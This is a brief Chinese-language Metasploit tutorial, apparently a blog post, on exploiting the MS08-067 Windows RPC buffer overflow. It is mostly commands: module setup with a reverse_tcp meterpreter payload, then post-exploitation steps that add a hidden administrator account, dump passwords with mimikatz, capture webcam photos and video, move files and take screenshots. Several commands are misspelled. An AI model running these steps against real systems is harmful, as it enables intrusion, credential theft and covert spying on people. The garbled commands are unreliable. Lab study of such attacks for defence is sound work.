# ms08-067漏洞攻击
- 1.通过命令：
ipconfig、ifconfig确认攻击机和靶机在同一网段 - 2.通过ping命令确认靶机存活。
- 3.通过命令：
msfconsole启用msf。 - 4.攻击。
- 1.搜索漏洞，命令：
search ms08-067。 - 2.设置攻击机地址，命令：
set lhost ip地址 - 3.设置攻击机端口，命令：
set lport 端口号 - 4.设置靶机地址，命令：
set rhost ip地址 - 5.加载攻击载荷，命令：
set payload windows/meterpreter/reverse_tcp。 - 6.进行攻击：
exploit/run
- 1.搜索漏洞，命令：
5.获得靶机权限。
- 6.后渗透利用
- 1.查看权限 命令：
gituid - 2.进入shell
- 3.添加用户账号 命令：
net 用户名 密码 /add - 4.提权:
net localgroup administrators 用户名 /add - 5.远程登录 命令：
rdesktop IP - 6.查看无操作时间 命令：
idletime - 7.获取账户密码 命令：
meterpreter> load mimikatzmeterpreter> msvmeterpreter> wdigest - 8.查看网络摄像头列表 命令：
wencam_list - 9.拍照 命令：
wencam_snap - 10.抓取视频 命令：
wencam_stream - 11.下载文件 命令：
download path/filenam path - 12.上传文件 命令：
upload path/filename path/filename - 13.远程登录 命令：
rdesktop 靶机ip必须开启3389服务 - 14.截屏 ：
# load espia# screenshot
- 1.查看权限 命令：
漏洞描述：
Microsoft Windows Server服务RPC请求缓冲区溢出漏洞
Windows的Server服务在处理特质RPC请求时存在缓冲区溢出漏洞，远程攻击者可以通过发送恶意的RPC请求触发这个溢出，导致完全入侵用户系统，SYSTEM权限执行任意指令。
对于Windows 2000、XP和Server 2003，无需认证便可以利用该漏洞；
对于Windows Vista和Server 2008，可能需要认证。
来源：https://www.cnblogs.com/Mrwuhuai/p/12162753.html